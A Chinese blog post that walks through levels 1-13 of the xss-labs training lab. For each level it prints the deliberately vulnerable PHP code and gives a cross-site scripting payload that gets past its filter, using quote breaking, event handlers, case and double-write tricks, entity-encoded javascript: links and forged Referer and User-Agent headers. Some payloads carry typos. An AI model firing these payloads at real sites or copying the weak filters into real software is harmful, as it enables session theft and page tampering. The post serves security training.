代码审计之xss-labs_1-13关代码分析

xss-labs 关卡代码过滤绕过测试

第一关:
#test与网页内容中test相对应,发现能够控制该变量,直接使用xss脚本
#代码分析
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";	//使用GET传参过来并没有对字符串进行过滤
?>
#payload:<script>alert(document.cookie)</script>
第二关:
#使用了.htmlspecialchars()函数将所接受的变量值中特殊字符转化为html实体
#注意闭合字符
#观察网站发现会有一个xss脚本语句,进行闭合引号,将脚本执行出来
#代码分析
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];		//通过GET传参接受参数keyword的值并赋值给变量$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#.htmlspecialchars($str):.htmlspecialchars函数对变量str进行实例化,就是将特殊字符转义为 &2等等
<form action=level2.php method=GET>		//表单提交方式
<input name=keyword  value="'.$str.'">	//输入框,注意变量$str在value值里面,并没有进行过滤防范
#注意value值里面变量两旁有单引号,因此注意封闭引号
<input type=submit name=submit value="搜索"/>	//搜索按钮
</form>
</center>';
?>
#注意js中//为注释
#payload:">'<script>alert(document.cookie)</script>//
第三关:
#发现闭合使用不了了,对其特殊字符都进行了html实体化,也就是对特殊字符进行了转义了
#注意闭合字符
#使用onclick属性触发跨站脚本 'οnclick=alter(xss)
#代码分析
<?php 
ini_set("display_errors", 0);	//是临时关闭PHP的错误显示功能
$str = $_GET["keyword"];		//传参赋值给变量$str
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
#.htmlspecialchars($str):.htmlspecialchars函数对变量str进行实例化,就是将特殊字符转义为 &2等等
<form action=level3.php method=GET>	//表单提交
<input name=keyword  value='".htmlspecialchars($str)."'> //这里对变量$str进行了实例化转义
#这时使用带有特殊字符的js脚本,使用input属性进行绕过转义
<input type=submit name=submit value=搜索 />
</form>
</center>";                                                                                 
?>
#payload:' οnclick='javascript:alert(1)
第四关:
#注意闭合字符
#使用onclick属性触发跨站脚本 οnclick='<script>alter(xss)</script>'
<?php 
ini_set("display_errors", 0);	//暂时不显示php错误
$str = $_GET["keyword"];		//GET传参赋值给变量$str
$str2=str_replace(">","",$str);	//将<使用str_replace函数替换为空
$str3=str_replace("<","",$str2);//将<使用str_replace函数替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>	//提交方法
<input name=keyword  value="'.$str3.'">	//变量并没有进行过滤,这时注意封闭符号位,直接利用
#使用input属性js脚本利用
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
#payload:"' onclick=javascript:alert(1)>//
第五关:
#将on替换成了o_n
#使用超链接方式进行绕过 "><a href='http://127.0.1'>
#代码分析
<?php 
ini_set("display_errors", 0);	//忽略错误
$str = strtolower($_GET["keyword"]);	//strtolower函数将传参过来的字符转化为小写
$str2=str_replace("<script","<scr_ipt",$str); //替换关键字符script 为 scr_ipt
$str3=str_replace("on","o_n",$str2);	//替换on字符为o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'"> //在传参后进行了替换关键字符,使用其他标签属性绕过
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
#payload:">'<a href="javascript:void(alert(1))
第六关
#将关键字符进行过滤了
#使用大小写绕过
#代码分析
<?php 
ini_set("display_errors", 0);	//忽视php错误
$str = $_GET["keyword"];		//GET传参接受参传给变量$str
$str2=str_replace("<script","<scr_ipt",$str); //替换函数将关键字符替换为scr_ipt              
$str3=str_replace("on","o_n",$str2);//替换函数将关键字符替换为o_n
$str4=str_replace("src","sr_c",$str3);//替换函数将关键字符替换为sr_c
$str5=str_replace("data","da_ta",$str4);//替换函数将关键字符替换为da_ta
$str6=str_replace("href","hr_ef",$str5);//替换函数将关键字符替换为hr_ef
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#对变量进行了转义,实例化
#发现对常见的一些标签以及属性都进行了替换,但是并没有对大小写进行同一,大小写绕过
<form action=level6.php method=GET>  //表单提交
<input name=keyword  value="'.$str6.'">		//输出的变量
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
#payload:">'<sCRiPt>alert(1)</sCRiPt><
第七关:
#一次过滤
#双写绕过
<?php 
ini_set("display_errors", 0);//忽视错误
$str =strtolower( $_GET["keyword"]);//使用函数将参数转换为小写在传给变量
$str2=str_replace("script","",$str);//替换关键字符为空
$str3=str_replace("on","",$str2);//替换关键字符为空
$str4=str_replace("src","",$str3);//替换关键字符为空
$str5=str_replace("data","",$str4);//替换关键字符为空
$str6=str_replace("href","",$str5);//替换关键字符为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化标签
<form action=level7.php method=GET>	//表单提交
<input name=keyword  value="'.$str6.'">
#发现在GET来接受参数时进行了小写转换,大小写用不了了,但是替换函数只是一次过滤,双写绕过
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
#payload:">'<scrscriptipt>alert(1)</scrscriptipt><
第八关:
#关键字替换,无法大小写绕过
#使用url编码进行绕过
#代码分析
<?php 
ini_set("display_errors", 0);	//忽略php错误
$str = strtolower($_GET["keyword"]);		//小写转换
$str2=str_replace("script","scr_ipt",$str);	//关键字符替换
$str3=str_replace("on","o_n",$str2);//关键字符替换
$str4=str_replace("src","sr_c",$str3);//关键字符替换
$str5=str_replace("data","da_ta",$str4);//关键字符替换
$str6=str_replace("href","hr_ef",$str5);//关键字符替换
$str7=str_replace('"','&quot',$str6);//关键字符替换
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">	//变量实例化
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';	//注意这里变量
?>
#发现这关难度大大提升,不仅统一小写,大多标签都被替换,又进行了转义特殊字符,但是并没有针对加密,加密绕过,注意不一样的网站对应加密是否解析也不一样
#payload:		javascript:alert(1)进行Unicode编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
第九关:
#对链接关键字检测,如果没有则不合法 http://
#url编码加//http://绕过		//注释
#代码分析
<?php 
ini_set("display_errors", 0);		//忽视错误
$str = strtolower($_GET["keyword"]);		//大小写统一	小写
$str2=str_replace("script","scr_ipt",$str);	//替换字符
$str3=str_replace("on","o_n",$str2);//替换字符
$str4=str_replace("src","sr_c",$str3);//替换字符
$str5=str_replace("data","da_ta",$str4);//替换字符
$str6=str_replace("href","hr_ef",$str5);//替换字符
$str7=str_replace('"','&quot',$str6);//替换字符
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">	//变量实例化
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))		//判断url链接是否有http:// 合法性
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
#payload:	javascript:alert(1)进行Unicode编码记得最后加上//http://
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://
第十关:
#属性隐藏
#onclick加属性type绕过
<?php 
ini_set("display_errors", 0);	//忽视错误
$str = $_GET["keyword"];		//接受参数赋值变量
$str11 = $_GET["t_sort"];		//接受隐藏的参数赋值给变量
$str22=str_replace(">","",$str11);//替换<为空
$str33=str_replace("<","",$str22);//替换>为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量	注意这个变量是可以显示的那个
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">	//注意这个隐藏变量	hidden隐藏实现
#绕过方法很简单将这个隐藏的变量属性显示出来
</form>
</center>';
?>
#payload:xxx.xxx.xx?keyword=xx&t_sort="type="text/html"%20onclick=javascripe:alert(1)>//
第十一关:
#接受来源信息
#伪造来源xss脚本
<?php 
ini_set("display_errors", 0);	//忽视错误
$str = $_GET["keyword"];		//接收参数赋值给$str
$str00 = $_GET["t_sort"];		//接收参数赋值给$str00变量,注意这个变量是隐藏的
$str11=$_SERVER['HTTP_REFERER'];	//通过$_server来接受客户端来源赋值给变量$str11
$str22=str_replace(">","",$str11);	//将变量中$str11中含有>替换为空
$str33=str_replace("<","",$str22);	//二次替换	将变量中$str22中含有<替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link"  value="'.'" type="hidden">	//注意这里并没有输出变量
<input name="t_history"  value="'.'" type="hidden">//注意这里并没有输出变量
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">//这里对变量$st00进行了转义,实例化
<input name="t_ref"  value="'.$str33.'" type="hidden">	//注意这里找到隐藏变量,也就是接受客户端的来源信息
#通过伪造来源中植入xss脚本实施跨站脚本攻击
</form>
</center>';
?>
#payload:	数据包中添加:Referer:" type="text" onclick=javascipt:alert(1)>//
第十二关:
#接受浏览器信息
#伪造浏览器信息xss脚本
#代码分析
<?php 
ini_set("display_errors", 0);	//忽视错误
$str = $_GET["keyword"];		//接收参数
$str00 = $_GET["t_sort"];		//接收参数
$str11=$_SERVER['HTTP_USER_AGENT'];	//接收客户端浏览器信息
$str22=str_replace(">","",$str11);	//替换>为空
$str33=str_replace("<","",$str22);	//替换<为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link"  value="'.'" type="hidden">	//空值
<input name="t_history"  value="'.'" type="hidden">//空值
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
#实例化变量值
<input name="t_ua"  value="'.$str33.'" type="hidden">	//隐藏的变量	可以利用
#注意取消隐藏属性		注意封闭符号
#通过伪造来源中植入xss脚本实施跨站脚本攻击
</form>
</center>';
?>                                                                                     
#payload:" type="text" onclick=javascript:alert(1)>//
第十三关:
#简要分析:通过分析代码分析分析输出的变量为cookie值
#代码分析
<?php 
setcookie("user", "call me maybe?", time()+3600);	//setcookie() 函数向客户端发送一个cookie
ini_set("display_errors", 0);	//忽视错误
$str = $_GET["keyword"];		//接收参数
$str00 = $_GET["t_sort"];		//接收参数
$str11=$_COOKIE["user"];		//接收cookie
$str22=str_replace(">","",$str11);	//将接收的cookie的变量进行替换包含>为空
$str33=str_replace("<","",$str22);	//将接收的cookie的变量进行替换包含<为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
#实例化变量
<form id=search>
<input name="t_link"  value="'.'" type="hidden">	//空值没啥用
<input name="t_history"  value="'.'" type="hidden">	//空值没啥用
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">//实例化变量
<input name="t_cook"  value="'.$str33.'" type="hidden">	//隐藏的变量,可以利用
#变量$str33是从接收客户端cookie进行输出的		利用时注意将属性显示
</form>
</center>';
?>
#payload:" type="text" onclick=javascript:alert(1)>//
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值